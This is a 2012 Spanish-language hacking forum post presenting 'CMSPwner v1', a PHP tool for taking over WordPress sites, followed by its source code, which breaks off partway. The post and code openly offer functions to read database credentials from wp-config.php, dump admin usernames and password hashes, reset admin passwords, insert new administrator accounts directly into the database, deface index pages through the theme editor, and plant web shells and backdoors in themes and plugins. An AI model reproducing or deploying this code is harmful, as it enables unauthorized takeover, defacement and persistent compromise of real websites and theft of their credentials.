Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

CMSPwner v1 [Wordpress Version][Source]

  • 21 Respuestas
  • 14589 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Xt3mP

  • *
  • Underc0der
  • Mensajes: 432
  • Actividad:
    0%
  • Reputación 0
  • Ellos me están buscando, pero yo los encontraré.
    • MSN Messenger - Xt3mP@h4x0rz.us
    • AOL Instant Messenger - Xt3mP@h4x0rz.us
    • Yahoo Instant Messenger - Xt3mP@h4x0rz.us
    • Ver Perfil
    • Xt3mP
« en: Agosto 02, 2012, 10:35:39 pm »


Cree este script para la comunidad de r00tw0rm llamado CMPwner orientado a facilitar la tarea de penetrar plataformas como Wordpress, Joomla, etc.
Como es la primer versión solo contiene el modulo de Wordpress (esperen por los siguientes)

Con este modulo pueden:
Obtener automáticamente la configuración de la DB.
Obtener la información más importante de Wordpress
Mirar todos los administradores
Resetear la contraseña de cualquiera de ellos
Agregar nuevo administrador
Cambiar el index principal (/) con fopen
Cambiar el index del tema actual con fopen
Cambiar el index del tema actual con cURL (credenciales de usuario requeridas)
Subir shell
Subir shell a cualquier tema
Subir shell a cualquier plugin
Poner un backdoor editando el contenido de cualquier tema
Poner un backdoor editando el contenido de cualquier plugin

Demostration:


Source:
Código: PHP
  1. <?php
  2. #########
  3. # Script Title: CMSPwner v1 Wordpress Version
  4. # Version: 1.0 Beta
  5. # Date: 02/08/12
  6. # Script Author: Xt3mP
  7. # Home: http://xt3mp.mx
  8. # For: http://r00tw0rm.com
  9. # Contact: xt3mp[at]null[dot]com
  10. #  _____ _____ _____ _____                  
  11. # |     |     |   __|  _  |_ _ _ ___ ___ ___
  12. # |   --| | | |__   |   __| | | |   | -_|  _|
  13. # |_____|_|_|_|_____|__|  |_____|_|_|___|_|  
  14. #
  15. #########
  16. $authUser = 'Xt3mP';
  17. $authPass = '63a9f0ea7bb98050796b649e85481845';
  18. function checkTable($dbName, $dbPref)
  19. {
  20.         $query = mysql_query('SHOW TABLES FROM '.$dbName) or die(mysql_error());
  21.         $allowedTables = array($dbPref.'options', $dbPref.'users', $dbPref.'usersmeta');
  22.         $counter = 0;
  23.         while($table = mysql_fetch_array($query))
  24.         {
  25.                 if(in_array($table[0], $allowedTables))
  26.                         $counter++;
  27.         }
  28.         if($counter != 2)
  29.                 return false;
  30.         else
  31.                 return true;
  32. }
  33. function getInfo($pref, $optionName)
  34. {
  35.         $data = mysql_fetch_object(mysql_query('SELECT option_value FROM '.$pref.'options WHERE option_name="'.$optionName.'"'));
  36.         return $data->option_value;
  37. }
  38. function getVersion($url)
  39. {
  40.         $source = file_get_contents($url);
  41.         $data = preg_match("/<meta name=\"generator\" content=\"WordPress (.*)\" \/>/", $source, $version);
  42.         return $version[1];
  43. }
  44. function getTotalAdmins($pref)
  45. {
  46.         $adms = @mysql_num_rows(@mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10'));
  47.         return $adms;
  48. }
  49. function getAdmins($pref, $type = 'name')
  50. {
  51.         $adm = @mysql_query('SELECT user_id FROM '.$pref.'usermeta WHERE meta_value=10');
  52.         while($admId = @mysql_fetch_object($adm))
  53.         {
  54.                 if($type == 'name')
  55.                 {
  56.                         $admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_nicename FROM '.$pref.'users WHERE ID='.$admId->user_id));
  57.                         $option .= '<option value="'.$admId->user_id.'">'.$admData->user_login.'['.$admData->user_nicename.']</option>';
  58.                 }
  59.                 else
  60.                 {
  61.                         $class = ($number == '0') ? 'dark-green' : 'light-green';
  62.                         $admData = @mysql_fetch_object(@mysql_query('SELECT user_login, user_pass, user_email FROM '.$pref.'users WHERE ID='.$admId->user_id));
  63.                         $option .= '<tr class="'.$class.'"><td>'.$admData->user_login.'</td><td>'.$admData->user_pass.'</td><td>'.$admData->user_email.'</td></tr>';
  64.                         $number = ($number == '0') ? '1' : '0';
  65.                 }
  66.         }
  67.         if($type == 'name')
  68.                 return $option;
  69.         else
  70.                 return '<table width="100%" align="center"><tr class="header"><td>User</td><td>Pass</td><td>Mail</td></tr>'.$option.'</table>';
  71. }
  72. function updateAdmin($pref, $admUser, $admPass)
  73. {
  74.         $newPass = md5($admPass);
  75.         $update = @mysql_query('UPDATE '.$pref.'users SET user_pass="'.$newPass.'" WHERE ID='.$admUser);
  76.         if(!$update)
  77.                 return false;
  78.         else
  79.                 return true;
  80. }
  81. function getAdminById($pref, $admId)
  82. {
  83.         $admData = @mysql_fetch_object(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE ID='.$admId));
  84.         return $admData->user_login;
  85. }
  86. function checkUser($pref, $admUser)
  87. {
  88.         $adm = @mysql_num_rows(@mysql_query('SELECT user_login FROM '.$pref.'users WHERE user_login="'.$admUser.'"'));
  89.         if($adm > 0)
  90.                 return false;
  91.         else
  92.                 return true;
  93. }
  94. function addAdminUser($pref, $admUser, $admPass)
  95. {
  96.         $insert = @mysql_query('INSERT INTO '.$pref.'users (user_login, user_pass, user_nicename, user_email) values ("'.$admUser.'", "'.md5($admPass).'", "'.$admUser.'", "'.$admUser.'@'.$admUser.'.com")');
  97.         if(!$insert)
  98.         {
  99.                 return false;
  100.         }
  101.         else
  102.                 $id = @mysql_fetch_object(@mysql_query('SELECT ID FROM '.$pref.'users WHERE user_login="'.$admUser.'"'));
  103.                 $insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value) values ('.$id->ID.', "wp_capabilities", "a:1:{s:13:\"administrator\";s:1:\"1\";}")') or die(mysql_error());
  104.                 $insert = mysql_query('INSERT INTO '.$pref.'usermeta (user_id, meta_key, meta_value) values ('.$id->ID.', "wp_user_level", "10")') or die(mysql_error());
  105.                 return true;
  106. }
  107. function checkLogin($wpUrl, $wpUser, $wpPass)
  108. {
  109.         $fields = 'log='.$wpUser.'&pwd='.$wpPass.'&wp-submit=Acceder';
  110.         $ch = curl_init();  
  111.         curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
  112.         curl_setopt($ch, CURLOPT_AUTOREFERER, false);
  113.         curl_setopt($ch, CURLOPT_REFERER, $wpUrl);
  114.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  115.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  116.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  117.         curl_setopt($ch, CURLOPT_HEADER, 1);
  118.         curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-login.php');
  119.         curl_setopt($ch, CURLOPT_POST, true);  
  120.         curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
  121.         curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  122.         $data = curl_exec($ch);
  123.         curl_close($ch);
  124.         if(strstr($data, '<strong>ERROR</strong>'))
  125.                 return false;
  126.         else
  127.                 return true;
  128. }
  129. function sourceIndex($wpUrl, $theme)
  130. {
  131.         $ch = curl_init();  
  132.         curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
  133.         curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  134.         curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
  135.         curl_setopt($ch, CURLOPT_AUTOREFERER, false);
  136.         curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
  137.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  138.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  139.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  140.         curl_setopt($ch, CURLOPT_HEADER, 1);
  141.         $data = curl_exec($ch);
  142.         curl_close($ch);
  143.         return $data;
  144. }
  145. function changeIndex($wpUrl, $wpCont, $theme, $wpnonce)
  146. {
  147.         $ch = curl_init();  
  148.         $fields = '_wpnonce='.$wpnonce.'&newcontent='.urlencode($wpCont).'&action=update&file=index.php&theme='.$theme.'&scrollto=0&submit=Actualizar Archivo';
  149.         curl_setopt($ch, CURLOPT_URL, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
  150.         curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  151.         curl_setopt($ch, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0a2) Gecko/20111014 Firefox/9.0a2');
  152.         curl_setopt($ch, CURLOPT_AUTOREFERER, false);
  153.         curl_setopt($ch, CURLOPT_REFERER, $wpUrl.'/wp-admin/theme-editor.php?file=index.php&theme='.$theme);
  154.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  155.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  156.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  157.         curl_setopt($ch, CURLOPT_HEADER, 1);
  158.         curl_setopt($ch, CURLOPT_POST, true);  
  159.         curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
  160.         $data = curl_exec($ch);
  161.         curl_close($ch);
  162.         return true;
  163. }
  164. function getThemes()
  165. {
  166.         $themes = scandir('./wp-content/themes/');
  167.         foreach($themes as $theme)
  168.         {
  169.                 if($theme != '.' && $theme != '..' && is_dir('./wp-content/themes/'.$theme))
  170.                 {
  171.                         $realThemes .= '<option value="'.$theme.'">'.$theme.'</option>';
  172.                 }
  173.         }
  174.         return $realThemes;
  175. }
  176. function getPlugins()
  177. {
  178.         $plugins = scandir('./wp-content/plugins/');
  179.         foreach($plugins as $plugin)
  180.         {
  181.                 if($plugin != '.' && $plugin != '..' && is_dir('./wp-content/plugins/'.$plugin))
  182.                 {
  183.                         $pluginData = pathinfo('./wp-content/plugins/'.$plugin);
  184.                         $pluginPath = $plugin;
  185.                         if(!is_dir('./wp-content/plugins/'.$plugin))
  186.                         {
  187.                                 $pluginPath = '/';
  188.                                 $plugin = $pluginData['filename'];
  189.                         }
  190.                         $realPlugins .= '<option value="'.$pluginPath.'">'.$plugin.'</option>';
  191.                 }
  192.         }
  193.         return $realPlugins.'<option value="/">/</option>';
  194. }
  195.  
  196. function getInstalledPlugins($wpUrl, $plugins, $home = false)
  197. {
  198.         $data = preg_match("/a:(.*):{/", $plugins, $a);
  199.         for($i = 0; $i < $a[1]; $i++)
  200.         {
  201.                 $c = $a[1] - 1;
  202.                 if($i != $c)
  203.                 {
  204.                         $next = $i + 1;
  205.                         $pat = "/i:$i;s:[0-9]*:\"(.*)\";i:$next/";
  206.                 }else{
  207.                         if($a[1] == 1)
  208.                                 $pat = "/{i:$i;s:[0-9]*:\"(.*)\";}/";
  209.                         else
  210.                                 $pat = "/;i:$i;s:[0-9]*:\"(.*)\";/";
  211.                 }
  212.                 $datas = preg_match($pat, $plugins, $b);
  213.                 $pluginsc .= (!$home) ? '<a href="'.$wpUrl.'/wp-content/plugins/'.$b[1].'" target="_blank">'.$b[1].'</a><br />' : '<option value="'.$b[1].'">'.$b[1].'</option>';
  214.         }
  215.         return (!$home) ? substr($pluginsc, 0, strlen($pluginsc) - 6) : $pluginsc;
  216. }
  217. ?>
  218. <!DOCTYPE html>
  219. <head>
  220. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  221. <title>CMSPwner v1 [WP Version]</title>
  222. <style type="text/css">html,body,div,span,applet,object,iframe,h1,h2,h3,h  4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,bi  g,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,  strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd  ,ol,ul,li,fieldset,form,label,legend,table,caption  ,tbody,tfoot,thead,tr,th,td,article,aside,canvas,d  etails,embed,figure,figcaption,footer,header,hgrou  p,menu,nav,output,ruby,section,summary,time,mark,a  udio,video{border:0;font:inherit;font-size:100%;margin:0;padding:0;vertical-align:baseline}article,aside,details,figcaption,fi  gure,footer,header,hgroup,menu,nav,section{display  :block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:bef  ore,blockquote:after,q:before,q:after{content:none  }table{border-collapse:collapse;border-spacing:0}</style>
  223. <style type="text/css">body{background-color:#2b2b2b;color:#828282;font-family:"Courier New", Courier, monospace;font-size:13px;font-weight:700;line-height:1em}div#container{width:600px}div#container fieldset{background-color:#FBFBFB;border:1px dashed #000;padding:5px;text-align:justify}hr{background-color:#000;color:#000}div#container legend{background-color:#FFF;border:1px dashed #000;color:#000;padding:5px}fieldset#login .a{width:200px}div#container input,div#container select,div#container textarea{-moz-border-radius:3px;-webkit-border-radius:3px;background-color:#333;border:1px dashed #000;border-radius:3px;color:#FFF;font-family:"Courier New", Courier, monospace;font-weight:700;padding:5px;text-align:center;width:148px}div#container textarea{resize:none;width:83%}div#container input:hover,div#container input:focus{font-style:normal}div#container input[type=submit]:hover{background-color:#888;cursor:pointer;text-shadow:1px 1px 1px #999}div#container .error,div#container .success{background-color:#ff4040;border:1px dashed red;color:#FFF;float:left;margin-bottom:5px;padding:5px;width:100%!important}div#co  ntainer .success{background-color:#49A349;border:1px dashed #002E00}div#container .menu{border-bottom:1px dashed #000;float:left;font-size:14px;margin-bottom:5px;padding-bottom:5px;text-align:center;width:100%}.data{float:left;width:98%  }.menu ul li{float:left;height:10px;width:100px}.menu ul li ul{background-color:#FBFBFB;border:1px dashed #000;border-top:none;display:none;float:left;height:auto;margi  n-top:2px;position:relative;width:130px}.menu ul li:hover ul{display:block}.menu ul li ul li{background:#CCC;float:left;height:10px;padding:  5px 0 5px 2px;text-align:left;width:130px}.menu ul li.nonse{float:left;width:20px}div#sql_data,div#da  ta{border-top:1px dashed #000;margin-top:5px;padding-top:5px}div#sql_data label,div#data label{float:left;margin-right:5px;padding:8px 0;text-align:right;width:60px}div#container .clear{float:left;width:100%}div#sql_data input[type=text],div#data input[type=text],div#data select,div#data textarea{margin-right:5px}select{text-align:center}div#container a{color:#111;text-decoration:none}div#container a:hover{color:#191919;text-decoration:underline}div#data{border:none}div#info  {border-bottom:1px dashed #000;padding-bottom:5px}table,td,tr{padding:5px;text-align:center}.header{background-color:#000;color:#FFF}.light-green,.dark-green{background-color:#FCFCFC;color:#000}div#container input[type=submit],.dark-green{background-color:#666}div#sql_data input[type=submit],div#data input[type=submit],div#data select{width:160px}div#container .get_config{border-top:1px dashed #000;margin-top:5px;padding-top:5px;text-align:center}div#container .success a,div#container .success a:hover,.dark-green{color:#FFF}</style>
  224. <script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
  225. <script>$(function(){windowsHeight=$(window).height();wind  owsWidth=$(window).width();div=$('#container');div  Height=div.height();divWidth=div.width();up=window  sHeight/2.3-(divHeight/2);left=windowsWidth/2-(divWidth/2);$("#container").css("margin-top",up);$("#container").css("margin-left",left);function putValue(fieldId,newValue,defaultValue){if($("#"+fieldId).val()==defaultValue){$("#"+fieldId).val(newValue)}}$("#user").focusin(function(){putValue("user","","User")});$("#user").focusout(function(){putValue("user","User","")});$("#pass").focusin(function(){putValue("pass","","********")});$("#pass").focusout(function(){putValue("pass","********","")});$("#db_srvr").focusin(function(){putValue("db_srvr","","localhost")});$("#db_srvr").focusout(function(){putValue("db_srvr","localhost","")});$("#db_user").focusin(function(){putValue("db_user","","root")});$("#db_user").focusout(function(){putValue("db_user","root","")});$("#db_pass").focusin(function(){putValue("db_pass","","root")});$("#db_pass").focusout(function(){putValue("db_pass","root","")});$("#db_name").focusin(function(){putValue("db_name","","wp_db")});$("#db_name").focusout(function(){putValue("db_name","wp_db","")});$("#db_pref").focusin(function(){putValue("db_pref","","wp_")});$("#db_pref").focusout(function(){putValue("db_pref","wp_","")});$("#new_pass").focusin(function(){putValue("new_pass","","new_pass")});$("#new_pass").focusout(function(){putValue("new_pass","new_pass","")});$("#new_user").focusin(function(){putValue("new_user","","Admin2")});$("#new_user").focusout(function(){putValue("new_user","Admin2","")});$("#wp_url").focusin(function(){putValue("wp_url","","http://site.com/wp")});$("#wp_url").focusout(function(){putValue("wp_url","http://site.com/wp","")});$("#shell_name").focusin(function(){putValue("shell_name","","shell.php")});$("#shell_name").focusout(function(){putValue("shell_name","shell.php","")})});</script>
  226. </head>
  227. <body>
  228. <div id="container">
  229.         <div class="logo">
  230.                 <pre>
  231.        _____ __  __  _____ _____                                  __
  232.     X / ____|  \/  |/ ____|  __ \                                /_ |X
  233.     t| |    | \  / | (___ | |__) |_      ___ __   ___ _ __  __   _| |t
  234.     3| |    | |\/| |\___ \|  ___/\ \ /\ / / '_ \ / _ \ '__| \ \ / / |3
  235.     m| |____| |  | |____) | |     \ V  V /| | | |  __/ |     \ V /| |m
  236.     P \_____|_|  |_|_____/|_|      \_/\_/ |_| |_|\___|_| t00l \_/ |_|P                                                                  
  237.                 </pre>
  238.         </div>
  239.         <form action="" method="POST" enctype="multipart/form-data">
  240.                 <?php
  241.                 if(!$_SESSION['logged']):
  242.                 ?>
  243.                         <fieldset id="login">
  244.                                 <legend>CMSPwner v1 - Login</legend>
  245.                                 <?php
  246.                                 $showLogin = true;
  247.                                 if(isset($_POST['login'])):
  248.                                         $user = $_POST['user'];
  249.                                         $pass = $_POST['pass'];
  250.                                         if($user != $authUser or md5($pass) != $authPass):
  251.                                                 echo '<div class="error">Bad username or password</div>';
  252.                                         else:
  253.                                                 $showLogin = false;
  254.                                                 $_SESSION['logged'] = true;
  255.                                                 $_SESSION['user'] = $user;
  256.                                                 echo '<div class="success">Welcome '.$user.'</div>';
  257.                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  258.                                         endif;
  259.                                 endif;
  260.                                 if($showLogin):
  261.                                 ?>
  262.                                         <input type="text" id="user" name="user" value="User" class="a"/>
  263.                                         <input type="password" id="pass" name="pass" value="********" class="a"/>
  264.                                         <input type="submit" name="login" value="Access" />
  265.                                 <?php
  266.                                 endif;
  267.                                 ?>
  268.                         </fieldset>
  269.                 <?php
  270.                 else:
  271.                 ?>
  272.                         <fieldset>
  273.                                 <?php
  274.                                 if(!$_SESSION['sqlCredentials']):
  275.                                 ?>
  276.                                         <legend>CMSPwner v1 - SQL Credentials</legend>
  277.                                         This system requires SQL credentials to work correctly. Please make sure that your credentials are correct.<br />
  278.                                         <?php
  279.                                         $showForm = true;
  280.                                         if($_GET['s3ct10n'] == 'getconfig'):
  281.                                                 if(isset($_POST['get_config'])):
  282.                                                         $configContent = @file_get_contents('./wp-config.php');
  283.                                                         if(!$configContent):
  284.                                                                 echo '<div class="error">Can\'t open/found wp-config.php file</div>';
  285.                                                         else:
  286.                                                                 $data = @preg_match("/define\('DB_HOST', '(.*)'\);/", $configContent, $host);
  287.                                                                 $data = @preg_match("/define\('DB_USER', '(.*)'\);/", $configContent, $user);
  288.                                                                 $data = @preg_match("/define\('DB_PASSWORD', '(.*)'\);/", $configContent, $pass);
  289.                                                                 $data = @preg_match("/define\('DB_NAME', '(.*)'\);/", $configContent, $name);
  290.                                                                 $data = @preg_match("/table_prefix  = '(.*)';/", $configContent, $pref);
  291.                                                                 $_SESSION['dbSrvr'] = $host[1];
  292.                                                                 $_SESSION['dbUser'] = $user[1];
  293.                                                                 $_SESSION['dbPass'] = $pass[1];
  294.                                                                 $_SESSION['dbName'] = $name[1];
  295.                                                                 $_SESSION['dbPref'] = $pref[1];
  296.                                                                 $showForm = false;
  297.                                                                 echo '<div class="success">Configuration obtained correctly</div>';
  298.                                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  299.                                                         endif;
  300.                                                 endif;
  301.                                                 if($showForm):
  302.                                                         $file = basename($_SERVER['PHP_SELF']);
  303.                                         ?>
  304.                                                         <div class="get_config" style="text-align:left;">You need put this file in same WP path:</div>
  305.                                                         <div id="sql_data">
  306.                                                                 <div class="clear"><label>File:</label><input type="text" value="<?php echo $file; ?>" disabled="disabled" />< Script<br /></div>
  307.                                                                 <div class="clear"><label></label><input type="submit" name="get_config" value="Get Config" /></div>
  308.                                                         </div>
  309.                                         <?php
  310.                                                 endif;
  311.                                         else:
  312.                                                 if(isset($_POST['sql'])):
  313.                                                         $dbSrvr = $_POST['db_srvr'];
  314.                                                         $dbUser = $_POST['db_user'];
  315.                                                         $dbPass = $_POST['db_pass'];
  316.                                                         $dbName = $_POST['db_name'];
  317.                                                         $dbPref = $_POST['db_pref'];
  318.                                                         $dbCon = @mysql_connect($dbSrvr, $dbUser, $dbPass);
  319.                                                         $dbSel = @mysql_select_db($dbName, $dbCon);
  320.                                                         if(!$dbCon):
  321.                                                                 echo '<div class="error">Can\'t connect to the server: '.$dbUser.'@'.$dbSrvr.'</div>';
  322.                                                         elseif(!$dbSel):
  323.                                                                 echo '<div class="error">Can\'t select DB: '.$dbName.'</div>';
  324.                                                         elseif(!checkTable($dbName, $dbPref)):
  325.                                                                 echo '<div class="error">Can\'t detect WP tables with Preffix: '.$dbPref.'</div>';
  326.                                                         else:
  327.                                                                 $_SESSION['dbSrvr'] = $dbSrvr;
  328.                                                                 $_SESSION['dbUser'] = $dbUser;
  329.                                                                 $_SESSION['dbPass'] = $dbPass;
  330.                                                                 $_SESSION['dbName'] = $dbName;
  331.                                                                 $_SESSION['dbPref'] = $dbPref;
  332.                                                                 $_SESSION['sqlCredentials'] = true;
  333.                                                                 $showForm = false;
  334.                                                                 echo '<div class="success">SQL Credentials accepted correctly</div>';
  335.                                                                 echo '<META HTTP-EQUIV="refresh" CONTENT="2; url=?">';
  336.                                                         endif;
  337.                                                 endif;
  338.                                                 if($showForm):
  339.                                                         $srvr = (empty($_SESSION['dbSrvr'])) ? 'localhost' : $_SESSION['dbSrvr'];
  340.                                                         $user = (empty($_SESSION['dbUser'])) ? 'root' : $_SESSION['dbUser'];
  341.                                                         $pass = (empty($_SESSION['dbPass'])) ? 'root' : $_SESSION['dbPass'];
  342.                                                         $name = (empty($_SESSION['dbName'])) ? 'wp_db' : $_SESSION['dbName'];
  343.                                                         $pref = (empty($_SESSION['dbPref'])) ? 'wp_': $_SESSION['dbPref'];
  344.                                         ?>
  345.                                                         <div class="get_config">[<a href="?s3ct10n=getconfig">Try to get config automatically</a>]</div>
  346.                                                         <div id="sql_data">
  347.                                                                 <div class="clear"><label>Server:</label><input type="text" id="db_srvr" name="db_srvr" value="<?php echo $srvr; ?>" />< Insert SQL Server<br /></div>
  348.                                                                 <div class="clear"><label>User:</label><input type="text" id="db_user" name="db_user" value="<?php echo $user; ?>" />< Insert SQL Username<br /></div>
  349.                                                                 <div class="clear"><label>Pass:</label><input type="text" id="db_pass" name="db_pass" value="<?php echo $pass; ?>" />< Insert SQL Password<br /></div>
  350.                                                                 <div class="clear"><label>Name:</label><input type="text" id="db_name" name="db_name" value="<?php echo $name; ?>" />< Insert SQL Database Name<br /></div>
  351.                                                                 <div class="clear"><label>Prefix:</label><input type="text" id="db_pref" name="db_pref" value="<?php echo $pref; ?>" />< Insert Wordpress DB Preffix<br /></div>
  352.                                                                 <div class="clear"><label></label><input type="submit" name="sql" value="Check SQL Data" />
  353.                                                         </div>
  354.                                         <?php
  355.                                                 endif;
  356.                                         endif;
  357.                                         ?>
  358.                                 <?php
  359.                                 else:
  360.                                         $dbCon = @mysql_connect($_SESSION['dbSrvr'], $_SESSION['dbUser'], $_SESSION['dbPass']);
  361.                                         @mysql_select_db($_SESSION['dbName'], $dbCon);
  362.                                 ?>
  363.                                         <legend>CMSPwner v1 - System</legend>
  364.                                         <div class="menu">
  365.                                                 <ul>
  366.                                                         <li>Menu
  367.                                                                 <ul>
  368.                                                                         <li><a href="?">Home</a></li>
  369.                                                                         <li><a href="?s3ct10n=logout">Logout</a></li>
  370.                                                                         <li><a href="?s3ct10n=selfremove">Self Remove</a></li>
  371.                                                                         <li><a href="?s3ct10n=about">About</a></li>
  372.                                                                 </ul>
  373.                                                         </li>
  374.                                                         <li>Admin
  375.                                                                 <ul>
  376.                                                                         <li><a href="?s3ct10n=1">Adm List</a></li>
  377.                                                                         <li><a href="?s3ct10n=2">Reset Adm Pass</a></li>
  378.                                                                         <li><a href="?s3ct10n=3">Add New Adm</a></li>
  379.                                                                 </ul>
  380.                                                         </li>
  381.                                                         <li>Change Index
  382.                                                                 <ul>
  383.                                                                         <li><a href="?s3ct10n=4">Main [fopen]</a></li>
  384.                                                                         <li><a href="?s3ct10n=5">Theme [cURL]</a></li>
  385.                                                                         <li><a href="?s3ct10n=6">Theme [fopen]</a></li>
  386.                                                                 </ul>
  387.                                                         </li>
  388.                                                         <li>Shell
  389.                                                                 <ul>
  390.                                                                         <li><a href="?s3ct10n=7">Upload</a></li>
  391.                                                                         <li><a href="?s3ct10n=8">Make [themes]</a></li>
  392.                                                                         <li><a href="?s3ct10n=9">Make [plugins]</a></li>
  393.                                                                 </ul>
  394.                                                         </li>
  395.                                                         <li>Backdoor
  396.                                                                 <ul>
  397.                                                                         <li><a href="?s3ct10n=10">Active Theme</a></li>
  398.                                                                         <li><a href="?s3ct10n=11">Active Plugin</a></li>
  399.                                                                 </ul>
  400.                                                 </ul>
  401.                                         </div>
  402.                                         <div class="data">
  403.                                                 <?php
  404.                                                 $s3ct10n = $_GET['s3ct10n'];
  405.                                                 switch($s3ct10n):
  406.                                                         case '':
  407.                                                 ?>
  408.                                                                 WP Version: <?php echo getVersion(getInfo($_SESSION['dbPref'], 'siteurl')); ?><br />
  409.                                                                 WP Url: <a href="#"><?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?></a><br />
  410.                                                                 WP Mail: <?php echo getInfo($_SESSION['dbPref'], 'admin_email'); ?><br />
  411.                                                                 WP Theme: <a target="_blank" href="<?php echo getInfo($_SESSION['dbPref'], 'siteurl'); ?>/wp-content/themes/<?php echo getInfo($_SESSION['dbPref'], 'template'); ?>"><?php echo getInfo($_SESSION['dbPref'], 'template'); ?></a><br />
  412.                                                                 WP Active Plugins: <br /><?php echo getInstalledPlugins(getInfo($_SESSION['dbPref'], 'siteurl'), getInfo($_SESSION['dbPref'], 'active_plugins')); ?><br />
  413.                                                                 WP Adm Users: <?php echo getTotalAdmins($_SESSION['dbPref']); ?><br />
  414.                                                                 WP Blog Charset: <?php echo getInfo($_SESSION['dbPref'], 'blog_charset'); ?><br />
  415.                                                                 WP DB Host: <?php echo $_SESSION['dbSrvr']; ?><br />
  416.                                                                 WP DB User: <?php echo $_SESSION['dbUser']; ?><br />
  417.                                                                 WP DB Pass: <?php echo $_SESSION['dbPass']; ?><br />
  418.                                                                 WP DB Server: <?php echo $_SESSION['dbName']; ?><br />
  419.                                                                 WP DB Preffix: <?php echo $_SESSION['dbPref']; ?>
  420.                                                         <?php
  421.                                                         break;
  422.                                                         case 'logout':
  423.                                                                 $showForm = true;
  424.                                                                 if(isset($_POST['no'])):
  425.                                                                         echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
  426.                                                                 elseif(isset($_POST['yes'])):
  427.                                                                         @session_destroy();
  428.                                                                         echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
  429.                                                                 endif;
  430.                                                                 if($showForm):
  431.                                                         ?>
  432.                                                                         <div id="info">Logout?</div>
  433.                                                                         <div id="data">
  434.                                                                                 <div class="clear" style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit" value="Yes" name="yes" /></div>
  435.                                                                         </div>
  436.                                                         <?php
  437.                                                                 endif;
  438.                                                         break;
  439.                                                         case 'selfremove':
  440.                                                                 $showForm = true;
  441.                                                                 if(isset($_POST['no'])):
  442.                                                                         echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
  443.                                                                 elseif(isset($_POST['yes'])):
  444.                                                                         @session_destroy();
  445.                                                                         @unlink(basename($_SERVER['PHP_SELF']));
  446.                                                                         echo '<META HTTP-EQUIV="refresh" CONTENT="0; url=?">';
  447.                                                                 endif;
  448.                                                                 if($showForm):
  449.                                                         ?>
  450.                                                                         <div id="info">Self remove?</div>
  451.                                                                         <div id="data">
  452.                                                                                 <div class="clear" style="text-align: center;"><input type="submit" value="No" name="no" /> - <input type="submit" value="Yes" name="yes" /></div>
  453.                                                                         </div>
  454.                                                         <?php
  455.                                                                 endif;
  456.                                                         break;
  457.                                                         case 'about':
  458.                                                         ?>
  459.                                                                 <div id="info">About</div>
  460.                                                                 <div id="data">
  461.                                                                 <pre style="text-align: center;">
  462.                          
  463.                           .--,-``-.                    ,-.----.    
  464.  ,--,     ,--,   ___     /   /     '.            ____  \    /  \  
  465.  |'. \   / .`| ,--.'|_  / ../        ;         ,'  , `.|   :    \  
  466.  ; \ `\ /' / ; |  | :,' \ ``\  .`-    '     ,-+-,.' _ ||   |  .\ :
  467.  `. \  /  / .' :  : ' :  \___\/   \   :  ,-+-. ;   , ||.   :  |: |
  468.   \  \/  / ./.;__,'  /        \   :   | ,--.'|'   |  |||   |   \ :
  469.    \  \.'  / |  |   |         /  /   / |   |  ,', |  |,|   : .   /
  470.     \  ;  ;  :__,'| :         \  \   \ |   | /  | |--' ;   | |`-'  
  471.    / \  \  \   '  : |__   ___ /   :   ||   : |  | ,    |   | ;    
  472.   ;  /\  \  \  |  | '.'| /   /\   /   :|   : |  |/     :   ' |    
  473. ./__;  \  ;  \ ;  :    ;/ ,,/  ',-    .|   | |`-'      :   : :    
  474. |   : / \  \  ;|  ,   / \ ''\        ; |   ;/          |   | :    
  475. ;   |/   \  ' | ---`-'   \   \     .'  '---'           `---'.|    
  476. `---'     `--`            `--`-,,-'                      `---`    
  477. </pre>
  478. <pre>
  479. +------------------------------------------------------------------------+
